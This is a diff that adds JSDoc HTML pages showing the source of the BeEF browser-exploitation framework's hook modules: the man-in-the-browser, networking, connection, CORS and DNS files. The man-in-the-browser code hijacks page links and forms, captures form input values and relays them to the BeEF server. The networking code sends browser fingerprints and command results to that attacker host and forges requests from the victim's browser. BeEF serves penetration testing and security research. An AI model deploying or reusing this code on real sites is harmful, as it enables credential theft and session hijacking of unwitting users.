+			beef.net.queue('/event', 0, this.events);
+			this.events = [];
+		}
+	}
+		
+};
+
+beef.regCmp('beef.logger');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/mitb.js.html b/docs/mitb.js.html new file mode 100644 index 000000000..94c58caa0 --- /dev/null +++ b/docs/mitb.js.html @@ -0,0 +1,297 @@ + + + + + JSDoc: Source: mitb.js + + + + + + + + + + +
+ +

Source: mitb.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * @namespace beef.mitb
+ */
+beef.mitb = {
+
+    cid:null,
+    curl:null,
+
+    /** Initializes */ 
+    init:function (cid, curl) {
+        beef.mitb.cid = cid;
+        beef.mitb.curl = curl;
+        /*Override open method to intercept ajax request*/
+        var hook_file = "<%= @hook_file %>";
+
+        if (window.XMLHttpRequest && !(window.ActiveXObject)) {
+
+            beef.mitb.sniff("Method XMLHttpRequest.open override");
+            (function (open) {
+                XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
+                    // Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
+                    // or a request initiated by the MiTB itself.
+                    if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
+                        open.call(this, method, url, async, true);
+                    }else {
+                        var portRegex = new RegExp(":[0-9]+");
+                        var portR = portRegex.exec(url);
+                        var requestPort;
+                        if (portR != null) { requestPort = portR[0].split(":")[1]; }
+
+                        //GET request
+                        if (method == "GET") {
+                            //GET request -> cross-origin
+                            if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
+                                beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
+                                window.open(url);
+                            }else { //GET request -> same-origin
+                                beef.mitb.sniff("GET [Ajax Request]: " + url);
+                                if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
+                                    var title = "";
+                                    if (document.getElementsByTagName("title").length == 0) {
+                                        title = document.title;
+                                    } else {
+                                        title = document.getElementsByTagName("title")[0].innerHTML;
+                                    }
+                                    // write the url of the page
+                                    history.pushState({ Be:"EF" }, title, url);
+                                }
+                            }
+                        }else{
+                            //POST request
+                            beef.mitb.sniff("POST ajax request to: " + url);
+                            open.call(this, method, url, async, true);
+                        }
+                    }
+                };
+            })(XMLHttpRequest.prototype.open);
+        }
+    },
+
+    /** Initializes the hook on anchors and forms. */ 
+    hook:function () {
+        beef.onpopstate.push(function (event) {
+            beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
+        });
+        beef.onclose.push(function (event) {
+            beef.mitb.endSession();
+        });
+
+        var anchors = document.getElementsByTagName("a");
+        var forms = document.getElementsByTagName("form");
+        var lis = document.getElementsByTagName("li");
+
+        for (var i = 0; i < anchors.length; i++) {
+            anchors[i].onclick = beef.mitb.poisonAnchor;
+        }
+        for (var i = 0; i < forms.length; i++) {
+            beef.mitb.poisonForm(forms[i]);
+        }
+
+        for (var i = 0; i < lis.length; i++) {
+            if (lis[i].hasAttribute("onclick")) {
+                lis[i].removeAttribute("onclick");
+                /*clear*/
+                lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('" + lis[i].getElementsByTagName("a")[0] + "')");
+                /*override*/
+
+            }
+        }
+    },
+
+    /** Hooks anchors and prevents them from linking away */
+    poisonAnchor:function (e) {
+        try {
+            e.preventDefault;
+            if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])) {
+                var title = "";
+                if (document.getElementsByTagName("title").length == 0) {
+                    title = document.title;
+                } else {
+                    title = document.getElementsByTagName("title")[0].innerHTML;
+                }
+                history.pushState({ Be:"EF" }, title, e.currentTarget);
+            }
+        } catch (e) {
+            beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
+        }
+        return false;
+    },
+
+    /** Hooks forms and prevents them from linking away */
+    poisonForm:function (form) {
+        form.onsubmit = function (e) {
+
+            // Collect <input> tags.
+            var inputs = form.getElementsByTagName("input");
+            var query = "";
+            for (var i = 0; i < inputs.length; i++) {
+                switch (inputs[i].type) {
+                    case "submit":
+                        break;
+                    default:
+                        query += inputs[i].name + "=" + inputs[i].value + '&';
+                        break;
+                }
+            }
+
+            // Collect selected options from the form.
+            var selects = form.getElementsByTagName("select");
+            for (var i = 0; i < selects.length; i++) {
+                var select = selects[i];
+                query += select.name + "=" + select.options[select.selectedIndex].value + '&';
+            }
+
+            // We should be gathering 'submit' inputs as well, as there are 
+            // applications demanding this parameter.
+            var submit = $j('*[type="submit"]', form);
+            if(submit.length) {
+                // Append name of the submit button/input.
+                query += submit.attr('name') + '=' + submit.attr('value');
+            }
+
+            if(query.slice(-1) == '&') {
+                query = query.slice(0, -1);
+            }
+
+            e.preventdefault;
+            beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
+            history.pushState({ Be:"EF" }, "", form.action);
+            return false;
+        }
+    },
+
+    /** Fetches a hooked form with AJAX */ 
+    fetchForm:function (url, query, target) {
+        try {
+            var y = new XMLHttpRequest();
+            y.open('POST', url, false, true);
+            y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
+            y.onreadystatechange = function () {
+                if (y.readyState == 4 && y.responseText != "") {
+                    target.innerHTML = y.responseText;
+                    setTimeout(beef.mitb.hook, 10);
+                }
+            };
+            y.send(query);
+            beef.mitb.sniff("POST: " + url + "[" + query + "]");
+            return true;
+        } catch (x) {
+            return false;
+        }
+    },
+
+    /** Fetches a hooked link with AJAX */
+    fetch:function (url, target) {
+        try {
+            var y = new XMLHttpRequest();
+            y.open('GET', url, false, true);
+            y.onreadystatechange = function () {
+                if (y.readyState == 4 && y.responseText != "") {
+                    target.innerHTML = y.responseText;
+                    setTimeout(beef.mitb.hook, 10);
+                }
+            };
+            y.send(null);
+            beef.mitb.sniff("GET: " + url);
+            return true;
+        } catch (x) {
+            window.open(url);
+            beef.mitb.sniff("GET [New Window]: " + url);
+            return false;
+        }
+    },
+
+    /** Fetches a window.location=http://domainname.com and setting up history */ 
+    fetchOnclick:function (url) {
+        try {
+            var target = document.getElementsByTagName("html")[0];
+            var y = new XMLHttpRequest();
+            y.open('GET', url, false, true);
+            y.onreadystatechange = function () {
+                if (y.readyState == 4 && y.responseText != "") {
+                    var title = "";
+                    if (document.getElementsByTagName("title").length == 0) {
+                        title = document.title;
+                    }
+                    else {
+                        title = document.getElementsByTagName("title")[0].innerHTML;
+                        }
+                    history.pushState({ Be:"EF" }, title, url);
+                    target.innerHTML = y.responseText;
+                    setTimeout(beef.mitb.hook, 10);
+                }
+            };
+            y.send(null);
+            beef.mitb.sniff("GET: " + url);
+
+        } catch (x) {
+            // the link is cross-origin, so load the resource in a different tab
+            window.open(url);
+            beef.mitb.sniff("GET [New Window]: " + url);
+        }
+    },
+
+    /** Relays an entry to the framework */
+    sniff:function (result) {
+        try {
+            beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
+        } catch (x) {
+        }
+        return true;
+    },
+
+    /** Signals the Framework that the user has lost the hook */
+    endSession:function () {
+        beef.mitb.sniff("Window closed.");
+    }
+};
+
+beef.regCmp('beef.mitb');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/net.js.html b/docs/net.js.html new file mode 100644 index 000000000..ef53085f4 --- /dev/null +++ b/docs/net.js.html @@ -0,0 +1,615 @@ + + + + + JSDoc: Source: net.js + + + + + + + + + + +
+ +

Source: net.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Provides basic networking functions,
+ * like beef.net.request and beef.net.forgeRequest,
+ * used by BeEF command modules and the Requester extension,
+ * as well as beef.net.send which is used to return commands
+ * to BeEF server-side components.
+ *
+ * Also, it contains the core methods used by the XHR-polling
+ * mechanism (flush, queue)
+ * @namespace beef.net
+ *
+ */
+beef.net = {
+
+    host: "<%= @beef_host %>",
+    port: "<%= @beef_port %>",
+    hook: "<%= @beef_hook %>",
+    httpproto: "<%= @beef_proto %>",
+    handler: '/dh',
+    chop: 500,
+    pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
+    sid_count: 0,
+    cmd_queue: [],
+
+    /**
+     * Command object. This represents the data to be sent back to BeEF,
+     * using the beef.net.send() method.
+     */
+    command: function () {
+        this.cid = null;
+        this.results = null;
+        this.status = null;
+        this.handler = null;
+        this.callback = null;
+    },
+
+    /**
+     * Packet object. A single chunk of data. X packets -> 1 stream
+     */
+    packet: function () {
+        this.id = null;
+        this.data = null;
+    },
+
+    /**
+     * Stream object. Contains X packets, which are command result chunks.
+     */
+    stream: function () {
+        this.id = null;
+        this.packets = [];
+        this.pc = 0;
+        this.get_base_url_length = function () {
+            return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
+        };
+        this.get_packet_data = function () {
+            var p = this.packets.shift();
+            return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
+        };
+    },
+
+    /**
+     * Response Object - used in the beef.net.request callback
+     * NOTE: as we are using async mode, the response object will be empty if returned.
+     * Using sync mode, request obj fields will be populated.
+     */
+    response: function () {
+        this.status_code = null;        // 500, 404, 200, 302
+        this.status_text = null;        // success, timeout, error, ...
+        this.response_body = null;      // "<html>…." if not a cross-origin request
+        this.port_status = null;        // tcp port is open, closed or not http
+        this.was_cross_domain = null;   // true or false
+        this.was_timedout = null;       // the user specified timeout was reached
+        this.duration = null;           // how long it took for the request to complete
+        this.headers = null;            // full response headers
+    },
+
+    /**
+     * Queues the specified command results.
+     * @param {String} handler the server-side handler that will be called
+     * @param {Integer} cid command id
+     * @param {String} results the data to send
+     * @param {Integer} status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
+     * @param {Function} callback the function to call after execution
+     */
+    queue: function (handler, cid, results, status, callback) {
+        if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
+            var s = new beef.net.command();
+            s.cid = cid;
+            s.results = beef.net.clean(results);
+            s.status = status;
+            s.callback = callback;
+            s.handler = handler;
+            this.cmd_queue.push(s);
+        }
+    },
+
+    /**
+     * Queues the current command results and flushes the queue straight away.
+     * NOTE: Always send Browser Fingerprinting results
+     * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
+     * even if WebSockets are enabled.
+     * @param {String} handler the server-side handler that will be called
+     * @param {Integer} cid command id
+     * @param {String} results the data to send
+     * @param {Integer} exec_status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
+     * @param {Function} callback the function to call after execution
+     * @return {Integer} the command module execution status (defaults to 0 - 'unknown' if status is null)
+     */
+    send: function (handler, cid, results, exec_status, callback) {
+        // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
+        var status = 0;
+        if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
+
+        if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
+            this.queue(handler, cid, results, status, callback);
+            this.flush();
+        } else {
+            try {
+                beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
+                    '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
+                    '", "status": "' + exec_status +
+                    '", "callback": "' + callback +
+                    '","bh":"' + beef.session.get_hook_session_id() + '" }');
+            } catch (e) {
+                this.queue(handler, cid, results, status, callback);
+                this.flush();
+            }
+        }
+
+        return status;
+    },
+
+    /**
+     * Flush all currently queued command results to the framework,
+     * chopping the data in chunks ('chunk' method) which will be re-assembled
+     * server-side by the network stack.
+     * NOTE: currently 'flush' is used only with the default
+     * XHR-polling mechanism. If WebSockets are used, the data is sent
+     * back to BeEF straight away.
+     */
+    flush: function (callback) {
+        if (this.cmd_queue.length > 0) {
+            var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
+            this.cmd_queue.length = 0;
+            this.sid_count++;
+            var stream = new this.stream();
+            stream.id = this.sid_count;
+            var pad = stream.get_base_url_length() + this.pad;
+            //cant continue if chop amount is too low
+            if ((this.chop - pad) > 0) {
+                var data = this.chunk(data, (this.chop - pad));
+                for (var i = 1; i <= data.length; i++) {
+                    var packet = new this.packet();
+                    packet.id = i;
+                    packet.data = data[(i - 1)];
+                    stream.packets.push(packet);
+                }
+                stream.pc = stream.packets.length;
+                this.push(stream, callback);
+            }
+        } else {
+            if ((typeof callback != 'undefined') && (callback != null)) {
+                callback();
+            }
+        }
+    },
+
+    /**
+     * Split the input data into chunk lengths determined by the amount parameter.
+     * @param {String} str the input data
+     * @param {Integer} amount chunk length
+     */
+    chunk: function (str, amount) {
+        if (typeof amount == 'undefined') n = 2;
+        return str.match(RegExp('.{1,' + amount + '}', 'g'));
+    },
+
+    /**
+     * Push the input stream back to the BeEF server-side components.
+     * It uses beef.net.request to send back the data.
+     * @param {Object} stream the stream object to be sent back.
+     */
+    push: function (stream, callback) {
+        //need to implement wait feature here eventually
+        if (typeof callback === 'undefined') {
+            callback = null;
+        }
+        for (var i = 0; i < stream.pc; i++) {
+            var cb = null;
+            if (i == (stream.pc - 1)) {
+                cb = callback;
+            }
+            this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, 
+                    stream.get_packet_data(), 10, 'text', cb);
+        }
+    },
+
+    /**
+     * Performs http requests
+     * @param {String} scheme HTTP or HTTPS
+     * @param {String} method GET or POST
+     * @param {String} domain bindshell.net, 192.168.3.4, etc
+     * @param {Int} port 80, 5900, etc
+     * @param {String} path /path/to/resource
+     * @param {String} anchor this is the value that comes after the # in the URL
+     * @param {String} data This will be used as the query string for a GET or post data for a POST
+     * @param {Int} timeout timeout the request after N seconds
+     * @param {String} dataType specify the data return type expected (ie text/html/script)
+     * @param {Function} callback call the callback function at the completion of the method
+     *
+     * @return {Object} this object contains the response details
+     */
+    request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
+        //check if same domain or cross domain
+        var cross_domain = true;
+        if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
+            if (document.location.port == "" || document.location.port == null) {
+                cross_domain = !(port == "80" || port == "443");
+            }
+        }
+
+        //build the url
+        var url = "";
+        if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
+            url = path;
+        } else {
+            url = scheme + "://" + domain;
+            url = (port != null) ? url + ":" + port : url;
+            url = (path != null) ? url + path : url;
+            url = (anchor != null) ? url + "#" + anchor : url;
+        }
+
+        //define response object
+        var response = new this.response;
+        response.was_cross_domain = cross_domain;
+        var start_time = new Date().getTime();
+
+        /*
+         * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
+         * This will turn POSTs into GETs for remote-domain requests.
+         */
+        if (method == "POST") {
+            $j.ajaxSetup({
+                dataType: dataType
+            });
+        } else {
+            $j.ajaxSetup({
+                dataType: 'script'
+            });
+        }
+
+        //build and execute the request
+        $j.ajax({type: method,
+            url: url,
+            data: data,
+            timeout: (timeout * 1000),
+
+            //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
+            beforeSend: function (xhr) {
+                if (method == "POST") {
+                    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
+                }
+            },
+            success: function (data, textStatus, xhr) {
+                var end_time = new Date().getTime();
+                response.status_code = xhr.status;
+                response.status_text = textStatus;
+                response.response_body = data;
+                response.port_status = "open";
+                response.was_timedout = false;
+                response.duration = (end_time - start_time);
+            },
+            error: function (jqXHR, textStatus, errorThrown) {
+                var end_time = new Date().getTime();
+                response.response_body = jqXHR.responseText;
+                response.status_code = jqXHR.status;
+                response.status_text = textStatus;
+                response.duration = (end_time - start_time);
+                response.port_status = "open";
+            },
+            complete: function (jqXHR, textStatus) {
+                response.status_code = jqXHR.status;
+                response.status_text = textStatus;
+                response.headers = jqXHR.getAllResponseHeaders();
+                // determine if TCP port is open/closed/not-http
+                if (textStatus == "timeout") {
+                    response.was_timedout = true;
+                    response.response_body = "ERROR: Timed out\n";
+                    response.port_status = "closed";
+                } else if (textStatus == "parsererror") {
+                    response.port_status = "not-http";
+                } else {
+                    response.port_status = "open";
+                }
+            }
+        }).always(function () {
+                if (callback != null) {
+                    callback(response);
+                }
+            });
+        return response;
+    },
+
+    /**
+     * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
+     *  - requestid: needed on the callback
+     *  - allowCrossDomain: set cross-domain requests as allowed or blocked
+     *
+     * forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
+     * Example usage:
+     * beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
+     *   true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
+     *   alert(response.response_body)})
+     */
+    forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
+
+        if (domain == "undefined" || path == "undefined") {
+            beef.debug("[beef.net.forge_request] Error: Malformed request. No host specified.");
+            return;
+        }
+
+        // check if same domain or cross domain
+        var cross_domain = true;
+        if (document.domain == domain && document.location.protocol == scheme + ':') {
+            if (document.location.port == "" || document.location.port == null) {
+                cross_domain = !(port == "80" || port == "443");
+            } else {
+                if (document.location.port == port) cross_domain = false;
+            }
+        }
+
+        // build the url
+        var url = "";
+        if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
+            url = path;
+        } else {
+            url = scheme + "://" + domain;
+            url = (port != null) ? url + ":" + port : url;
+            url = (path != null) ? url + path : url;
+            url = (anchor != null) ? url + "#" + anchor : url;
+        }
+
+        // define response object
+        var response = new this.response;
+        response.was_cross_domain = cross_domain;
+        var start_time = new Date().getTime();
+
+        // if cross-domain requests are not allowed and the request is cross-domain
+        // don't proceed and return
+        if (allowCrossDomain == "false" && cross_domain) {
+            beef.debug("[beef.net.forge_request] Error: Cross Domain Request. The request was not sent.");
+            response.status_code = -1;
+            response.status_text = "crossdomain";
+            response.port_status = "crossdomain";
+            response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
+            response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
+            if (callback != null) callback(response, requestid);
+            return response;
+        }
+
+        // if the request was cross-domain from a HTTPS origin to HTTP
+        // don't proceed and return
+        if (document.location.protocol == 'https:' && scheme == 'http') {
+            beef.debug("[beef.net.forge_request] Error: Mixed Active Content. The request was not sent.");
+            response.status_code = -1;
+            response.status_text = "mixedcontent";
+            response.port_status = "mixedcontent";
+            response.response_body = "ERROR: Mixed Active Content. The request was not sent.\n";
+            response.headers = "ERROR: Mixed Active Content. The request was not sent.\n";
+            if (callback != null) callback(response, requestid);
+            return response;
+        }
+
+        /*
+         * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
+         * This will turn POSTs into GETs for remote-domain requests.
+         */
+        if (method == "POST") {
+            $j.ajaxSetup({
+                dataType: dataType
+            });
+        } else {
+            $j.ajaxSetup({
+                dataType: 'script'
+            });
+        }
+
+        // this is required for bugs in IE so data can be transferred back to the server
+        if (beef.browser.isIE()) {
+            dataType = 'script'
+        }
+
+        $j.ajax({type: method,
+            dataType: dataType,
+            url: url,
+            headers: headers,
+            timeout: (timeout * 1000),
+
+            //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
+            beforeSend: function (xhr) {
+                if (method == "POST") {
+                    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
+                }
+            },
+
+            data: data,
+
+            // http server responded successfully
+            success: function (data, textStatus, xhr) {
+                var end_time = new Date().getTime();
+                response.status_code = xhr.status;
+                response.status_text = textStatus;
+                response.response_body = data;
+                response.was_timedout = false;
+                response.duration = (end_time - start_time);
+            },
+
+            // server responded with a http error (403, 404, 500, etc)
+            // or server is not a http server
+            error: function (xhr, textStatus, errorThrown) {
+                var end_time = new Date().getTime();
+                response.response_body = xhr.responseText;
+                response.status_code = xhr.status;
+                response.status_text = textStatus;
+                response.duration = (end_time - start_time);
+            },
+
+            complete: function (xhr, textStatus) {
+                // cross-domain request
+                if (cross_domain) {
+
+                    response.port_status = "crossdomain";
+
+                    if (xhr.status != 0) {
+                        response.status_code = xhr.status;
+                    } else {
+                        response.status_code = -1;
+                    }
+
+                    if (textStatus) {
+                        response.status_text = textStatus;
+                    } else {
+                        response.status_text = "crossdomain";
+                    }
+
+                    if (xhr.getAllResponseHeaders()) {
+                        response.headers = xhr.getAllResponseHeaders();
+                    } else {
+                        response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
+                    }
+
+                    if (!response.response_body) {
+                        response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
+                    }
+
+                } else {
+                    // same-domain request
+                    response.status_code = xhr.status;
+                    response.status_text = textStatus;
+                    response.headers = xhr.getAllResponseHeaders();
+
+                    // determine if TCP port is open/closed/not-http
+                    if (textStatus == "timeout") {
+                        response.was_timedout = true;
+                        response.response_body = "ERROR: Timed out\n";
+                        response.port_status = "closed";
+                        /*
+                         * With IE we need to explicitly set the dataType to "script",
+                         * so there will be always parse-errors if the content is != javascript
+                         * */
+                    } else if (textStatus == "parsererror") {
+                        response.port_status = "not-http";
+                        if (beef.browser.isIE()) {
+                            response.status_text = "success";
+                            response.port_status = "open";
+                        }
+                    } else {
+                        response.port_status = "open";
+                    }
+                }
+                callback(response, requestid);
+            }
+        });
+        return response;
+    },
+
+    /** this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
+     *  http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
+     */
+    clean: function (r) {
+        if (this.array_has_string_key(r)) {
+            var obj = {};
+            for (var key in r)
+                obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
+            return obj;
+        }
+        return r;
+    },
+
+    /** Detects if an array has a string key */
+    array_has_string_key: function (arr) {
+        if ($j.isArray(arr)) {
+            try {
+                for (var key in arr)
+                    if (isNaN(parseInt(key))) return true;
+            } catch (e) {
+            }
+        }
+        return false;
+    },
+
+    /**
+     * Checks if the specified port is valid
+     */
+    is_valid_port: function (port) {
+      if (isNaN(port)) return false;
+      if (port > 65535 || port < 0) return false;
+      return true;
+    },
+
+    /**
+     * Checks if the specified IP address is valid
+     */
+    is_valid_ip: function (ip) {
+      if (ip == null) return false;
+      var ip_match = ip.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
+      if (ip_match == null) return false;
+      return true;
+    },
+
+    /**
+     * Checks if the specified IP address range is valid
+     */
+    is_valid_ip_range: function (ip_range) {
+      if (ip_range == null) return false;
+      var range_match = ip_range.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
+      if (range_match == null || range_match[1] == null) return false;
+      return true;
+    },
+
+    /**
+     * Sends back browser details to framework, calling beef.browser.getDetails()
+     */
+    browser_details: function () {
+        var details = beef.browser.getDetails();
+        var res = null;
+        details['HookSessionID'] = beef.session.get_hook_session_id();
+        this.send('/init', 0, details);
+        if(details != null)
+            res = true;
+
+        return res;
+    }
+
+};
+
+
+beef.regCmp('beef.net');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/net_connection.js.html b/docs/net_connection.js.html new file mode 100644 index 000000000..c94bd0cea --- /dev/null +++ b/docs/net_connection.js.html @@ -0,0 +1,101 @@ + + + + + JSDoc: Source: net/connection.js + + + + + + + + + + +
+ +

Source: net/connection.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * beef.net.connection - wraps Mozilla's Network Information API
+ * https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
+ * https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
+ * @namespace beef.net.connection
+ */
+beef.net.connection = {
+
+  /**
+   * Returns the connection type. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
+   * @example beef.net.connection.type()
+   * @return {String} connection type or 'unknown'.
+   */
+  type: function () {
+    try {
+      var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
+      var type = connection.type;
+      if (/^[a-z]+$/.test(type)) return type; else return 'unknown';
+    } catch(e) {
+      beef.debug("Error retrieving connection type: " + e.message);
+      return 'unknown';
+    }
+  },
+
+  /** 
+   * Returns the maximum downlink speed of the connection. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
+   * @example beef.net.connection.downlinkMax()
+   * @return {String} downlink max or 'unknown'.
+   */
+  downlinkMax: function () {
+    try {
+      var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
+      var max = connection.downlinkMax;
+      if (max) return max; else return 'unknown';
+    } catch(e) {
+      beef.debug("Error retrieving connection downlink max: " + e.message);
+      return 'unknown';
+    }
+  }
+
+};
+
+beef.regCmp('beef.net.connection');
+
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/net_cors.js.html b/docs/net_cors.js.html new file mode 100644 index 000000000..a3d8b8c9c --- /dev/null +++ b/docs/net_cors.js.html @@ -0,0 +1,134 @@ + + + + + JSDoc: Source: net/cors.js + + + + + + + + + + +
+ +

Source: net/cors.js

+ + + + + + +
+
+
/**
+ * @namespace beef.net.cors
+ */
+
+beef.net.cors = {
+
+  handler: "cors",
+
+    /**
+     * Response Object - used in the beef.net.request callback
+     */
+    response:function () {
+        this.status  = null;      // 500, 404, 200, 302, etc
+        this.headers = null;      // full response headers
+        this.body    = null;      // full response body
+    },
+
+    /**
+     * Make a cross-origin request using CORS
+     *
+     * @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
+     * @param url {String} url
+     * @param data {String} request body
+     * @param timeout {Integer} request timeout in milliseconds
+     * @param callback {Function} function to callback on completion
+     */
+    request: function(method, url, data, timeout, callback) {
+
+    var xhr;
+    var response = new this.response;
+
+    if (XMLHttpRequest) {
+        xhr = new XMLHttpRequest();
+
+        if ('withCredentials' in xhr) {
+            xhr.open(method, url, true);
+            xhr.timeout = parseInt(timeout, 10);
+            xhr.onerror = function() {
+            };
+            xhr.onreadystatechange = function() {
+                if (xhr.readyState === 4) {
+                    response.headers = this.getAllResponseHeaders()
+                    response.body    = this.responseText;
+                    response.status  = this.status;
+                    if (!!callback) {
+                        if (!!response) {
+                            callback(response);
+                        } else { 
+                            callback('ERROR: No Response. CORS requests may be denied for this resource.')
+                        }
+                    }
+                }
+            };
+            xhr.send(data);
+        }
+    } else if (typeof XDomainRequest != "undefined") {
+        xhr = new XDomainRequest();
+        xhr.open(method, url);
+        xhr.onerror = function() {
+        };
+        xhr.onload = function() {
+            response.headers = this.getAllResponseHeaders()
+            response.body    = this.responseText;
+            response.status  = this.status;
+            if (!!callback) {
+                if (!!response) {
+                    callback(response);
+                } else {
+                    callback('ERROR: No Response. CORS requests may be denied for this resource.')
+                }
+            }
+        };
+        xhr.send(data);
+    } else {
+        if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.');
+    }
+
+    }
+
+};
+
+beef.regCmp('beef.net.cors');
+
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/net_dns.js.html b/docs/net_dns.js.html new file mode 100644 index 000000000..bba1c8d68 --- /dev/null +++ b/docs/net_dns.js.html @@ -0,0 +1,148 @@ + + + + + JSDoc: Source: net/dns.js + + + + + + + + + + +
+ +

Source: net/dns.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * 
+ * request object structure:
+ * + msgId: {Integer} Unique message ID for the request.
+ * + domain: {String} Remote domain to retrieve the data.
+ * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
+ * + callback: {Function} Callback function to receive the number of requests sent.
+ * @namespace beef.net.dns
+ */
+
+beef.net.dns = {
+
+	handler: "dns",
+    /**
+     * 
+     * @param msgId 
